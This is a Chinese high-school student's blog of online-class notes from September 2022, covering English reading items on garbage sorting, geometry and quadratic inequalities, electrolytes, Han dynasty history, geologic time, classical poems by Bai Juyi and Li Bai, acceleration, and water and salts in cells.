Kitchen garbage in Beijing is the same as_________________ in Shanghai. A. wet garbage B. dry garbage C. recyclable garbage D. Harmful

para.4

I Some cities like Shanghai and Qingdao sort their trash differently. These cities use four different groups: wet, recyclable, harmful and dry. Although their names are different, the groups are actually the same. In fact, wet garbage in Shanghai is kitchen garbage in Bejing. And dry garbage is the same as other waste, China Youth Daily reported.

答案：A

What do we know from this passage? A. Beijing uses four different groups: kitchen, recyclable, hazardous and dry. B. Garbage-sorting is being carried out all over China. C. Guanchenglishi can help residents in Beijing with the garbage sorting. D. Residents in Bejing are troubled by garbage-sorting.

To help residents sort their trash correctly, the Beijing government is offering online guidelines(指导)。If people don't know how to throw away garbage, they can search for it on the WeChat account Guanchenglishi (管城理市) to find out. By searching a key word or taking a photo, people can a immediately find out which group their waste belongs to.

答案：C

阅读理解 passage 10

阅读理解 passage 11

完形填空 passage 1

数学

三角形

平行线分段成比例定理
1. 逆用此定理可以得相应直线的平行关系
2. 特例：三角形的中位线、梯形的中位线
全等三角形
1. 全等三角形
2. 三角形全等的判定定理：
  
  ①SSS ②SAS ③ASA ④AAS ⑤RHS(HL)
3. 全等三角形的性质：边长与角的关系
相似三角形
1. 相似三角形
2. 相似比
3. 三角形相似的判定定理：
  
  ①判定定理1 ②判定定理2 ③判定定理3 ④直角三角形相似的判定定理
4. 相似三角形的性质：①高、中线、角平分线；②周长；③面积
三角形内（外）角平分线性质的定理：

三角形内角平分线性质定理：三角形任意两边之比等于它们夹角平分线分对边之比

三角形内角平分线性质定理的证明：①三角形面积公式；②相似三角形；③正弦定理

三角形外角平分线性质定理的证明可由三角形面积公式和三角形内角平分线性质定理证得
射影定理：直角三角形斜边上的高是两直角边在斜边上射影的比例中项，两直角边分别是它们在斜边上个的射影与斜边的比例中项

（1）$AD^2=BD·CD$

（2）$AB^2=BD·BC,AC^2=CD·CB$
三角形的“四心”

（1）重心

（2）垂心

（3）内心

（4）外心

（5）正三角形的中心
平面四边形

（1）空间四边形

（2）平行四边形的判断与性质

（3）菱形的判定与性质

（4）矩形的判定与性质：长方形和正方形

（5）梯形的判定与性质

典型题目：

一、平行线分段成比例的应用.相关题目：例1、针对练习1、自主训练1、自主训练2 $$ 如图所示，已知△ABC中，AE:EB=1:3,BD:DC=2:1,AD与CE交于点F\ 则{ {EF}\over{FC} }+{ {AF}\over{FD} }=( )\ A.{1\over 2}\ \ B.1\ \ C.{3\over 2}\ \ D.2 $$

二、角平分线定理的应用

相关题目：例2、针对训练2、自主训练1

三、射影定理的应用.相关题目：例3、针对训练3、自主训练3、9 $$ 例3\ \ \ \ \ \ 1.求DE的长转化为MN的长，用到了矩形的判定\ 2.图形折叠先后的数量关系和位置关系的变与不变\ 自主训练9\ \ \ \
在Rt△ABC中，∠BAD=90，AD⊥BC于点D，若{ {AC}\over{AB} }={3\over 4}，求{ {BD}\over{CD} }的值 $$

四、三角形“四心”.相关题目：例4、针对训练4、自主训练6、10 $$ 例4,在△ABC中，AB=AC=3,BC=2.求：\ (1)△ABC的面积S_{△ABC}及AC边上的高BE；\ (2)△ABC的内切圆的半径r；\ (3)△ABC的外接圆的半径R； $$

自主训练10

已知正△ABC的边长为a，就正△ABC外接圆的半径R和内切圆的半径r

化学

习题讲解

【略】

电解质的电离

实验探究——物质的导电性

实验结论：干燥的NaCI固体、KNO3固体、蒸馏水不导电。NaCI溶液、KNO3溶液能够导电熔融NaCI、熔融KNO3能够导电

严格来说，蒸馏水也能导电，只是导电能力非常弱,只是用上述实验装置不能测出。

为什么NaCI、KNO3等电解质，在干燥时不导电，而溶于水或熔化后却能导电呢?

电流：由带电荷的粒子按一定方向移动而形成的

能够导电的物质：必须具有能自由移动的，带电荷的粒子

自由移动的，带电荷的粒子：电解质的水溶液(或熔化而成的液体)能够导电

以氯化钠(NaCl) 为例

电离

干燥的NaCl固体不导电 NaCl溶液能够导电 NaCl在熔融状态能够导电

电解质溶于水或受热融化时形成自由移动离子的过程叫做电离

电解质

电解质

在水溶液或熔融态下能够导电的化合物

电解质一定可以导电吗 ?

不一定
电解质导电的条件

(1) 一般来说,对于NaOH、KCI等可溶性的碱和盐，在水溶液和熔融状态都可以导电； (2)对于难溶性的碱、盐、金属氧化物,如Mg(OH)2、BaSO4、 Fe2O，因为这些物质难溶于水，所以它们只能在熔融状态才可以导电; (3)像HCI、H2SO4等酸只能在水溶液才可以导电。

注意

电解质与导电性之间没有必然关系： (1)电解质不-定都能导电：如NaCI固体、HCI气体 ; (2)能导电的物质不一定是电解质:如石墨、金属单质、溶液。
非电解质

在水溶液和熔融态下均不导电的化合物

历史

统一多民族封建国家的巩固

汉的建立

西汉

思考:汉初经济处于怎样的境况?

社会残破，经济啁敝

如何改善？

秦祚虽移，而秦之政制仍行于汉。钱穆《秦汉史》 汉承秦制汉朝各种制度基本沿袭秦制:三公九卿制、皇帝制度有所损益但地方行政制度采用郡县和分封并行制**(郡国并行制)**

强化中央集权措施(内)

政治上:①颁布推恩令(地方管理)

成功削弱诸侯王势力强化中央集权。

政治上:②中外朝制度(中央官制)

设立中朝，提升尚书令作用，削弱相权。加强皇权。(强化君主专制)

③察举制(选官制质)

维护中央集权、加强君主专制。

政治上:④设剌史，任用酷吏(地方管理)

刺史没有固定的治所，每年八月巡视所辖区域，考察吏治、奖惩官吏、决断究狱 位卑权重

促进地方监察，打击豪强地主，加强中央集权。

强化中央集权措施(内)

①改革币制:铸币权收归中央，统一货币

②盐铁专营:由政府垄断盐、铁的生产和销售

③均输平准:国家插手并经营商业贸易，增加收入，平抑物价

④抑制工商业者向工商业主征收财产税(“算缗告缗“)

作用：

①增加了政府的财政收入，为打败匈奴和加强中央集权提供了物质基础; ②抑制工商业者，平抑物价，打击了富商大贾，有利于社会稳定。 ③但过度垄断经营和干预经济生活,导致侵害私营工商业正常发展，与民争利，增加人民负担，引起社会不满。

思想上:罢黜百家，独尊儒水

思考:汉武帝的“独尊儒术”和秦始皇的焚书坑儒”本质是否相同?

**相同点:**本质上都是思想文化专制，目的都是巩固封建专制统治。 **不同点:**与秦始皇焚书坑儒相比，汉武帝的方式更为柔和，通过提拔儒士和创办太学的手段，使儒学确立独尊地位，开始成为社会的主流思想。

总结

强化中央集权措施(外)

军事上:

(1)对匈奴: 任用卫青、霍去病为将，经过三次较大规模的战争，夺取了阴山以南和河西走廊的大片区域。

(2)对河西走廊:设立四郡(武威、张掖、酒泉、敦煌)

(3)对西域: ①出使西域:派遣张骞两次出使西域，开辟了中西交通道路，后来形成了**“丝绸之路”** ②设置机构:公元前60年，西汉在乌垒城设置西域都护府，作为管理西域的军政机构。

西域都护府的设立标志新疆地区隶属中央政府管辖，成为我国不可分割的一部分

(4)对东南沿海和西南少数民族地区:治理更加有效。

统一多民族封建国家得到巩固加强!

中国之教，得孔子而后立; 中国之政，得秦皇而后行; 中国之境，得汉武而后定。三者皆中国之所以为中国也夏曾佑《中国古代史》

东汉

东汉的兴衰

思考:西汉晚期社会存在怎样的问题?

皇帝年幼，外厭干政

公元9年，外戚王荠夺取皇位，改国号为新，西汉灭亡。
23年，绿林军在昆阳击败王荠军队主力，后攻入长安，推翻王莽政权。
25年，西汉宗室刘秀重建汉朝，定都洛阳，史称东汉，刘秀即汉光武帝。
刘秀平定割据政权，实现全国统一。
措施（了解）

①外戚宦官轮流专权：“清议”、党锢之祸

②地方豪强做大：地方割据势力

③黄巾大起义

课堂小结

地理

复习

地球的形成与演化

地球历史的记录

想要了解地球的历史，就要了解地层和化石，就要学会读地质年代表。

(一)研究历史途径

研究历史途径:地层与化石

(二)地层与化石

地层

(1)概念地质历史上一-定地质时期形成的成层岩石和堆积物 (2)特点

①层理 ②上新下老 ③反映形成时期的地表环境

石灰岩——主要形成于浅海环境页岩——形成于静水环境玄武岩——岩浆喷发冷凝而成

地层的性质，在一定程度上反映了地层形成时的地表环境。

地层是记录地球历史的“书页”
化石

存留在古代地层中的古生物遗体、遗物或遗迹。是确定所在地层的年代和古地理环境的重要依据。

沉积岩可能含有化石

三叶虫化石

三叶虫是节肢动物门中已经灭绝的三叶虫纲中的动物。它们最早出现于寒武纪在古生代早期达到顶峰,此后逐渐减少至灭绝。最晚的三叶虫于2. 5亿年前二叠纪结束时的生物集群灭绝中消失。**三叶虫是非常知名的化石动物，其知名度可能仅次于恐龙。在所有的化石动物中三叶虫是种类最丰富的。大多数三叶虫是比较简单的、小的海生动物，它们在海底爬行,通过过滤泥沙来吸取营养。**它们身体分节,有带沟将身体分为三个垂直的叶。

所在地层年代

同一时代的地层含有相同或相似的化石；越古老的地层，含有的生物化石越简单，越低级。
古地理环境生物的生存与环境密切相关，依据化石可以推断当时的地理环境。

若岩层出现缺失，造成这一现象的原因可能有**(做笔记)**

一是在缺失岩层所代表的年代,发生了地壳隆起，使当地地势抬高，终止了沉积过程；
二是当地开始有沉积作用，地壳隆起后，原沉积物被剥蚀完毕；
三是当时、当地气气候变化，没有了沉积物来源。

地质年代表

中国有着五千多年的历史,经历了多个朝代更迭,为了便于研究和学习,我们按照不同的朝代将中期，形成中国历史纪年表。

而有着46亿年历史的地球**有没有这样的纪年表呢?**地球的纪年表该如何建立和断代呢?

建立依据:地层和化石

地质年代表

用来描述地球历史事件发生早晚或先后顺序的时间单位，叫地质年代。根据地质年代先后顺序把地球历史上的重大地质事件编成的时间顺序表。

46亿年前——5.4亿年前前寒武纪

属于隐生宙，包括冥古宙、太古宙、元古宙，时间跨度约40亿年，约占地球历史的90%。在此期间，地球形成大气层、海洋、陆地，地球从一个毫无生机的星球变成多种原始生命的家园。。是地球重要的成矿时期，铁、金、镍、铬等。

早古生代

晚古生代

意为“远古的生物时代”可分早古生代和晚古生代，其中早古生代包括寒武纪、奥陶纪、志留纪。晚古生代包括泥盆纪、石炭纪、二叠纪。

中生代：距今2.52亿年-6600万年

意为“中间的生物时代”因介于古生代和新生代而得名，分为三叠纪、侏罗纪和白垩纪。

新生代：6600万年前-至今

最近的生物时代，分为古近纪、新近纪和第四纪。

地质年代记忆

<h1 style="font-size:20px">【今日网课结束】</h1>

今天的网课笔记有点少，而且上传时间比较晚，请大家见谅本来笔记在七点之前就可以做好的，但是在下午最后一节课之前，我的电脑因为性能问题突然关机，导致我整个下午的笔记全部消失，听回放也没有记很全（比如老师说的重点的地方之类的）

学习笔记丨网课第八天

Sun, 11 Sep 2022 00:00:00 GMT

开学第八课

语文

琵琶行

解题

《琵琶行》原作《琵琶引》。白居易还有《长恨歌》。歌、行、引是古代歌曲的三种形式，后成为乐府诗歌的一种体裁。三者虽名称不同，实则大同小异，常统称“歌行”，是一种具有铺叙记事性质的歌辞，典型特点是婉转流动，纵横多姿，其音节、格律一般比较自由，形式都采用五言、七言、杂言的古体，富于变化。本诗是一篇抒情色彩很浓的长篇叙事诗。

作者简介

白居易(772- 846)中唐著名现实主义诗人，字乐天，晚年号香山居士。出身于一个世守儒业的小官僚家庭。自幼聪明，苦学文。青年时期因战乱曾颠沛流离，四处漂泊，对社会生活及人民疾苦有较多的接触和了解。二十九岁中进士，官至左拾遗(谏官)。有兼济天下”的理想，屡次上书针砭时弊。

他是杜甫之后，唐朝的又一杰出的现实主义诗人是唐代诗人中作品最多的一个。他是中唐新乐府运动的主要倡导者，主张“文章合为时而著，歌诗合为事而作(写文章要贴近现实，贴近事实，要把握时代脉搏)。”并将这一主张付诸自己的诗歌创作实践。他所生活的七十多年里，正是安史之乱后各种矛盾冲突急剧发展的时期，也正是唐朝走向衰微的时期。他的成就，主要表现在两个方面：一是政治讽喻诗，《新乐府》、《秦中吟》为代表，揭示当时社会病态的症结所在；一是以**《长恨歌》、《琵琶行》为代表的长篇叙事诗**，反映了劳动人民的痛苦生活，揭露了统治阶级的腐朽和罪恶。

写作背景

元和十年，平卢节度使李师道派人杀了宰相武元衡，向中央政权示威，白居易认为这是重，大“国耻”。激于义愤，他率先上疏“急请捕贼,以雪国耻”。但都被权贵们加上“越职奏事”的罪名，又造谣诬蔑说，白居易的母亲因看花坠井而死，而白居易却作赏花诗，新井诗，“有伤明教”，于是贬为江州刺史，继而又贬为江州司马(九品小官)。五年后，宪宗去世,穆宗即位，才被调回长安。白居易获罪的真正.原因主要是他写的针砭时弊的讽谕诗，正如他自己所说，“始得名于文章，终得罪于文章”。

诗词讲解

元和十年，予左迁九江郡司马。明年秋，送客湓浦口，闻舟中夜弹琵琶者，听其音，铮铮然有京都声。问其人，“本长安倡女，尝学琵琶于穆、曹二善才，年长色衰，委身为贾人妇。遂命酒，使快弹数曲。曲罢悯然，自叙少小时欢乐事，今漂沦憔悴，转徙于江湖间。予出官二年，恬然自安，感斯人言，是夕始觉有迁谪意。因为长句，歌以赠之，凡六百一十六言，命曰《琵琶行》。

官职的任免升降官职的任免升迁常用以下词语: (1)拜。用一定的礼仪授予某种官职或名位。 (2)除。拜官授职，就是授予官职的意思。 (3)擢。提升官职。 (4)迁。调动官职，包括升级、降级、平级转调三种情况。左迁。降级。 (5)谪。降职贬官或调往边远地区。 (6)黜。“黜，罢、免、夺”都是免去官职。 (7)去。解除职务，其中有辞职、调离和免职三种情况。辞职和调离属于一般情况和调整官职，而免职则是削职为民。 (8)乞骸骨。年老了请求辞职退休。 (9)举孝廉汉代选拔各级官吏的科目之一。孝廉是能尽孝道，做事正直。

研读第二段 1.找出琵琶女出场描写的句子，勾画出里面的动词，从这一系列词中可以看出作者心情如何?琵琶女又是什么样的状态?

"寻、问、移、邀、添、回、呼、唤"

表现了诗人急切、欣喜的心情，也写出了琵琶女当时心里很矛盾、很害羞、表现出琵琶女举止端庄、神态含羞、似有满腹心酸心事。

研读第三段 1.诗人塑造了一个怎样的琵琶女形象?运用了什么表现手法。

对比

早年色艺出众，红极一一时， 现在年长色衰，独处寂寞; 昔日门庭若市，如今独守空船; 当年欢笑，现在心酸。

2.如何理解琵琶女形象?为什么要极力铺写这一形象?

一个飘泊江湖的曾经名噪京都、红极- -时的长.安歌妓。青春欢笑、老大沦落、年老色衰。“重色轻利”的社会使得色艺双绝的琵琶女“独守空船”，反映了封建社会中被侮辱、被损害的歌妓们的悲惨命运，这正是封建时代歌舞艺人晚年生活的真实写照。

诗人着力刻画琵琶女的目的只是为了更好的抒写自己的天涯沦落之恨。

小序

思考：诗前小序有些什么内容?对全诗有何作用?

诗前小序，共一百三十八字。扼要地交代了时间、地点、人物和故事的主要经过，概括了琵琶女的身世，说明了本诗的写作动机，定下了全诗凄切伤怀的感情基调。本诗是一篇抒情色彩很浓的长篇叙事诗。

互文

互文，也叫互辞，是古诗文中常采用的一种修辞方法。**古文中对它的解释是：“参互成文，合而见义。”**具体地说，它是这样一种互辞形式：上下两句或一句话中的两个部分，看似各说两件事，实则是互相呼应，互相阐发，互相补充，说的是一件事。 由上下文意互相交错，互相渗透，互相补充来表达一一个完整句子意思的修辞方法。

互文的举例

烟笼寒水月笼沙。(杜牧《泊秦淮》)

我们应理解为;烟雾笼罩着寒水也笼罩着沙；月光笼罩着沙也笼罩着寒水。如将此句译作："烟雾笼罩着寒水，月光笼罩着沙"，那就大错特错了，意思怎么也讲不通。

翻译并梳理文章思路

序言部分:交待写作动机。第一段:浔阳江边闻琵琶。第二段:江心聆听琵琶曲。第三段:江中听诉身世苦。第四段:同病相怜感慨多。第五段:重问琵琶青衫湿。

问题

1、诗人通过叙事塑造了哪几个人物形象? 2、是通过哪两句将人物联系到一起的?

琵琶女”和“诗人自己” 同是天涯沦落人，相逢何必曾相识”(主旨句)

3.为什么白居易会发出这样一声哀叹——同是天涯沦落人。白居易和琵琶女之间有什么共同的命运

提示：从乐妓与诗人的人生历程中来寻找答案。

4.诗人被贬到此地后基本上做到了“恬然自安”，是什么导致了他的情感波动?

提示: ( 从小序中找）

铮铮然有京都声。

5.为什么听到京都声后，能激起白居易如此强烈的愤懑，忧郁之情?

诗人有着伟大抱负和理想，长安城是他施展抱负的地方，他被贬之后，表面上安于现状，可是不能施展抱负一直是他心头的一件憾事，而琵琶女表演的乐曲“大弦嘈嘈如急雨，小弦切切如私语。嘈嘈切切错杂弹，大珠小珠落玉盘。”“银瓶乍破水浆迸,铁骑突出刀枪鸣。”这都是非常激越雄壮的曲子，正好能释放自己隐藏在心头的深深的抑郁。也将白居易心头的不快之情一泄而出，表达了心头激烈的情感。

6.请大家想一下，假如琵琶女在江中演奏的是一曲江南小调，能否激起诗人如此强烈的情感?

江南小调是欢快的、流畅的感情，不能表达白居易的心情。而这首琵琶曲所表达的是琵琶女晚年落泊的情感，这种心情正符合白居易当时的心情，二者产生了共鸣，才激起了诗人内心如此强烈的感伤情感。

7.阅读第二自然段正面描写部分，探讨品味曲子曲调是否有变化?如何变化的，你能从这种变化中捕捉到琵琶女的情感和生活轨迹变化吗?

8.在第二自然段正面描写音乐部分，作者用了哪些手法来描摹音乐?这些手法有何好处?

(1)**比喻：**把抽象无形的音乐变成具象可感的实体，生动形象。 (2)**正面描写和侧面烘托：**更好地突出了琵琶女高超的技艺和琵琶曲感人的艺术效果。 (3)**曲中带情：**情景交融，增强艺术感染力。 (4)**叠词和连绵词：**使音节悦耳动听。

诗歌主旨

这首诗记叙诗人谪居江州时，月夜送客江边，巧遇琵琶女事。作品细致地描绘了琵琶女精湛的演奏技艺，交代了她坎坷不幸的身世，表现了她的凄凉愁苦之情，寄寓了诗人深切的同情。诗人还借琵琶女的身世来观照自己被贬受屈的不幸遭遇，发出了“同是天涯沦落人，相逢何必曾相识”的感慨，抒发了自己壮志难酬的才子之悲。

数学

一元二次函数及不等式的解法

二次函数的图像与性质

定义

形如$y=ax^2+bx+c(a\not=0)$这样的函数
表示方法

$y=ax^2+bx+c;y=a(x+{b\over 2a})^2+{ {4ac-b^2}\over 4a };{y=a(x-x_1)(x-x_2) $
图像

①开口

②对称轴$x=-{b\over 2a}$

③顶点

④与x轴、y轴交点坐标
性质

①对称性

②函数值随x变化而变化的规律

例题： $$ 有关二次函数y=ax^2-4ax-5(a\not=0)的三个结论如下\ (1)对任意实数m，都有x_1=2+m与x_2=2-m\ (2)若3\leq x\leq 4，对应的y的整数值都有4个，则-{4\over 3}<a\leq -1或1\leq a<{4\over 3}\ (3)若抛物线与x轴交于不同的两点 A、B，且|AB|\leq6，则a<-{5\over 4}或a\geq1 $$

例题答案：

习题： $$ 已知对称轴为直线x=1的抛物线y=ax^2+bx+c(a\not=0)如图所示\ 则下列结论成立的是：\ (1)abc<0\ \ (2)b^2>4ac \ \ (3)4a+2b+c>0 \ \ (4)3a+c>0\ (5)a+b\leq m (am+b)(m为任意实数)\ \ (6)x<-1，y随x增大而增大 $$

习题答案：

例题： $$ (1)求函数y=x^2-2x+k，-2\leq x\leq 2的最小值\ (2)求函数y=x^2-kx+2，-2\leq x\leq 2的最小值\ (3)求函数y=x^2-kx+2，-2\leq x\leq 2的最大值 $$ 例题答案：

练习： $$ t\leq x\leq t+1，求函数y=(x-1)^2+1的最小值 $$ 练习答案：

三个二次的关系及一元二次不等式的解法

引例：

$$ 画出y=x^2-5x+6的图像，并根据图像解不等式：\ x^2-5x+6>0,x^2-5x+6<0,x^2-5x+6\geq0,x^2-5x+6\leq0 $$

引例答案：

小结：一元二次不等式的解法

先将所给方程化为标准形式
判断相应方程有没有根,并判断根的大小;
画出相应函数图像;
利用“大于取两边,小于取中间”写出不等式的解。

三个二次的关系:二次方程的根是函数图像与x轴交点的横坐标也是不等式解的端点值，

例题： $$ 解不等式(1)-x^2+2x+3>0\ \ (2)ax^2-(a-1)x_1<0 $$ 例题答案：

习题：

$$ 解不等式(1)-x^2+2x+3\ \ (2)ax^2-(a-1)-1<0 $$ 答案：

分式不等式的解法：

分式不等式的定义
函数值符号$f(x),g(x)$的理解
分式不等式的解法

(1)${f(x)\over f(x)}>0\Leftrightarrow f(x)g(x)>0$ (2)${f(x)\over f(x)}\geq0\Leftrightarrow \begin{cases} f(x)g(x)\geq 0\ g(x)\not=0 \end{cases}$ (3)${f(x)\over f(x)}<0\Leftrightarrow f(x)g(x)<0$ (4)${f(x)\over f(x)}\leq0\Leftrightarrow \begin{cases} f(x)g(x)\leq0\ g(x)\not=0 \end{cases}$

例题： $$ (1){1\over x}<1\ \ (2){ {x-1}\over{x+2} }>0\ \ (3){ {2x+1}\over{1-3x} }\ \ (4){ {3x-2}\over{2x-1} }<1 $$ 答案：

高次不等式的解法：

例题： $$ (1)(x+2)(x+1)(x-1)(x-2)>0\ (2)(x+2)(x+1)(x-1)(2-x)>0\ (3)(x+2)(x+1)(1-x)(2-x)>0\ (4)(x+2)(x+1)^2(x-1)^3(2-x)>0 $$

例题答案：

物理

作业处理

【略】

速度变化快慢的描述——加速度

加速度

定义：

速度变化量和发生这一变化所用时间的比值叫加速度。
定义式：

$a={△v\over △t}$（比值定义法）

$△v=v_t-v_0$表示速度的变化量（速度的变化率）
物理意义：描述物体运动速度变化快慢的物理量。
单位：米每二次方秒,符号是$m/s^2或m·s^{-2},常用单位cm/s^2$
加速度是矢量，既有大小，又有方向。

加速的方向

由公式$a={△v\over △t}$可知，a的方向应该与△v的方向一致。确定了△v的方向也就确定了a的方向。

加速直线运动
减速直线运动
匀速直线运动

结论加速度方向和速度变化量的方向相同，与速度方向无关。

举例说明

判断加减速度的方法

速度的变化与加速度

v、△v、a的关系

生物

细胞中的水

1. 含量特点

不同生物	水母	鱼类	蛙	哺乳动物	藻类	高等植物
含水量%	97	80-85	78	65	90	60-80

生物种类:不同生物种类，含水量不同。(水生>陆生)

不同的组织器官	牙齿	骨骼	骨骼肌	心肌	血液
含水量%	10	22	76	79	83

组织器官种类与代谢程度：同一生物，不同组织、器官含水量不同。

2. 细胞中的水存在的形式

切西瓜时流出的液体（自由水）切开芦荟粘稠的液体（结合水）

自由水:以游离的形式存在,可以自由流动(约95.5%)
结合水与细胞内其他物质(蛋白质、多糖等)相结合的水(约4.5%)

实例分析

3. 水的作用

(1)细胞内良好的溶剂（自由水） (2)参与生物化学反应（自由水） (3)为细胞提供液体环境（自由水） (4)运送营养物质和代谢废物（自由水） (5) 是细胞结构的重要成分, 赋予各种组织、器官一定形状、硬度和弹性（结合水）

4. 水分子的结构决定功能

转化条件

(1)在一定条件下自由水和结合水可相互转化

(2)两者的相对含量和生物组织的代谢速率相关

细胞中的无机盐

无机盐在细胞中含量如何?以什么形式存在? 1、含量：很少，仅占1%-1.5% 2、多数以离子形式存在

△阳离子：$Na^+/K^+/Ca^{2+}/Mg^{2+}/Fe^{2+}/Fe^{3+}$等

△阴离子：$Cl^-/SO_4^{2-}/PO_4^{3-}/HCO_3^-$等
无机盐在细胞中有哪些生理作用?

无机盐的功能

功能1:细胞内某些化合物的重要组成成分

功能2：维持细胞和生物体的生命活动

实例1: Na+、 Ca2t等离子对于生命活动也是必不可少的。例如: 1.人体内**$Na^+$缺乏会引起神经、肌肉细胞的兴奋性降低**，最终引发肌肉酸痛、无力等，因此，当大量出汗排出过多的无机盐后，应多喝淡盐水。. 2.哺乳动物的血液中必须含有一定量的$Ca^{2+}$,如果血血钙含量太低，动物会出现抽搐等症状。如果血钙过高则会肌无力。另外钙还是牙齿、骨骼的主要成分，缺钙导致骨质疏松症。

功能3：维持细胞的渗透压平衡从而维持细胞的正常状态

功能4：维持细胞和生命体细胞的酸碱平衡

课堂小结

技能提升

[技能提升]一如何证明某种无机盐是否是植物必需的方法?

无机盐对于维持生物体的生命活动具有重要作用，设计实验探究某无机盐M是否是植物必需的无机盐。 (1)、材料生长状态相同、长势良好的植物若干，全营养培养液，缺M的培养液，无机盐M。 (2)、实验思想设置对照实验(设某种无机盐为M)。

若要判断某种无机盐离子是否是植物生长所必需的，该如何设计实验：

思路：若是必需元素，则植物缺少后其生长发育会受阻碍；若不是必需元素，则植物缺少后不影响其生长发育。

实验中存在哪些对照?空白对照、自身前后对照 实验中应控制哪些因素相统一?植株长势、培养环境相同且适宜等

政治

社会主义制度在中国确立

中国革命的步骤

最深刻最伟大的社会变革

由新民主主义向社会主义过渡的背景：
- 蒋介石败退台湾，带走国库所有银元、黄金、美钞。黄金多达450吨
- 台北故宫博物院: "建筑看北京故宫 ,文物看台北故宫”
- 企图颠覆政权的残留特务
- 抗美援朝1950.10-1953.7
时间：1949年-1956年（过渡时期）

从中华人民共和国成立到社会主义改造基本完成,这是-个过渡时期。
怎样改造：

过渡时期的总路线和总任务

在一个相当长的时期内,逐步实现国家的社会主义工业化,并逐步实现国家对农业、对手工业和对资本主义工商业的社会主义改造。
为什么要改造

从新民主主义向社会主义过渡的历史必然性
1. 社会主义国营经济迅速发展，逐步成为社会经济中的主导性因素
2. 国家积累了利用、限制和管理私营工商业的敬业，不同程度地开始了对他们初步的社会主义改造
3. 个体农业经济难以适应国家工业化建设的新形势，玻切需要组织起来
4. 国际形势有利于中国加快向社会主义阵营的转变
改造的结果怎么样？
1. 成功的标志
 
 1956年，生产资料所有制社会主义改造取得了决定性胜利，标志着我国实现了从新民主主义向社会主义的转变，进入了社会主义社会
2. 社会主义改造完成的意义
 1. 社会主义改造的伟大胜利，极大的激发了广大人民群众建设社会主义的积极性
 2. 社会生产力有了比较迅速的发展，社会秩序更加稳定，人民民主专政更加巩固，从而为我国全面建设社会主义奠定了坚实基础
 3. 确立了社会主义基本制度，这是中华民族有史以来最伟大为深刻的社会变革
 社会主义制度确立的历史意义

在艰辛探索中前进

为什么：社会主义基本制度确立后,如何在中国建设社会主义、如何巩固和发展社会主义,是崭新的历史课题，没有现成的答案可以遵循。
怎么办：中国共产党在马克思列宁主义基本原理指导下，以苏联经验教训为鉴戒，结合中国具体实际，艰辛探索适合中国国情的社会主义建设道路。
强国序曲一党的八大(指明方向)
社会主义制度确立后我国取得的成就

我国发生的翻天覆地的变化雄辩地证明： 只有社会主义才能救中国

社会主义建设时期(社会主义探索)

正确看待艰辛探索中的严重曲折

我国在社会主义建设的探索过程中，虽然经历了严重曲折，发生了“文化大革命”十年内乱，但党在社会主义革命和建设中取得的独创性理论成果和巨大成就，为在新的历史时期开创中国特色社会主义提供了宝贵经验、理论准备和物质基础。

一路探索一路前行

实现了中华民族从**“东亚病夫”到站起来**的伟大飞跃

知识回顾

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第七天

Fri, 09 Sep 2022 00:00:00 GMT

开学第七课

语文

梦游天姥吟留别

听写部分

【略】

梦游之景

青冥浩荡不见底，日月照耀金银台。

洞中蔚蓝的天空广阔无际，看不到尽头，日月照耀着金银做的宫阙。

霓为衣兮风为马，云之君兮纷纷而来下。

用彩虹做衣裳，将风作为马来乘，驾乘云彩的神仙们纷纷下来。

虎鼓瑟兮鸾回车，仙之人兮列如麻。

老虎弹奏着琴瑟，鸾鸟拉车回转。仙人们成群结队密密如麻。

概括这一部分的四幅画面。

月夜渡湖(清幽雅致)
著屐登山(雄奇壮观)
山中奇景(神奇迷离)
神仙登场(壮丽非凡)

月夜渡湖(清幽雅致)

“我欲因之梦吴越，一夜飞度镜湖月。湖月照我影，送我至剡溪”，品味“飞”“送”的内涵。

现实转向梦境

①“飞“，说明速度之快，既体现了诗人心情的急切，又见轻松、自由。夜间飞过镜湖。飞到剡溪，生动地表现了诗人梦游路上那种急切、兴奋、轻快、神往的心情。 ②"送”运用了拟人的手法，给人一种亲切感，表现了诗人内心的惬意。 ③在宁静的夜空自由自在飞行，且有明月相伴、相随、相送、相知，这种温馨、浪漫，非梦难以实现，充分体现了作者的浪漫主义情怀。

“谢公宿处今尚在，渌水荡漾清猿啼。”谢公何许人也，作者提及他有何用意?

谢灵运是南朝著名的山水诗人，在政治上不得志便寄情山水。作者借此表明自己要效法谢公****寄情山水、摒弃世俗。

[作者对谢灵运诗歌的热爱，源于他本性中对自然的热爱和眷恋]

著屐登山

“脚著谢公屐，身登青云梯”。

谢公屐:据《宋书.谢灵运传》，谢灵运游山，必到幽深高峻的地方，他备有一种特制的木屐，前后齿可装卸，上山时去掉前齿，下山时去掉后齿，以保持身体平衡。屐，以木板作底，上面有带子，形状像拖鞋。

诗人立在了前人开拓的古道上，展开了丰富的想象，他看到了什么?听到了什么?读出相应诗句。

著屐登山(雄奇壮观)、山中奇景 (神奇迷离)

“半壁见海日，空中闻天鸡” “千岩万转路不定金迷花倚石忽已暝" “云青青兮欲雨，水澹澹兮生烟” “熊咆龙吟殷岩泉，栗深林兮惊层巅”

神仙登场(壮丽非凡)

正在此时，忽然“列缺霹雳，丘岳崩摧”，眼前出现了另外一个世界。在这里，诗人看到了什么?

“青冥浩荡不见底，日月照耀金银台。霓为衣兮风为马，云上君兮纷纷而来下。虎鼓瑟兮鸾回车，仙之人兮列如麻。”

“忽魂悸以魄动.....失向来之烟霞”写了什么事?在文中有何作用?

好梦不长，心惊梦醒，一声长叹，枕席依旧。在梦境最高点，急转直下，犹如大潮沉落一般，由幻想转到现实。作者与读者的情绪随之沉静，在全文形成了起伏的波澜。引出诗人内心的感慨。

梦醒之感

世间行乐亦如此，古来万事东流水。

人世间的欢乐也是像梦中的幻境这样，自古以来万事都像东流的水一样一去不复返。

别君去兮何时还?且放白鹿青崖间。须行即骑访名山。

告别诸位朋友远去(东鲁)啊，什么时候才能回来?暂且把白鹿放牧在青崖间，等到要远行时就骑上它访名山。

安能摧眉折腰事权贵，使我不得开心颜！

岂能卑躬屈膝去侍奉权贵，使我不能有舒心畅意的笑颜！

你从这三句话中读出了几层意思? 两层。人生无常、求仙访道；蔑视权贵结尾段属于点睛之笔，照亮全诗，李白对名山仙境的追求，就是对现实的不满，对名山大川的追寻可以看出李白不屈的灵魂和铮铮傲骨，从而让我们看到了浪漫主义诗歌的本质：人格的自由和不屈的追求。

既要避世远游，又何来“安能摧眉折腰事权贵”之语呢?

“诗仙”生平:

14岁立志“安社稷”“济苍生”
25岁仗剑远游，求仕无果
42岁奉诏入京，供奉翰林
44岁权贵排挤，赐金放还
54岁安史之乱，从军报国
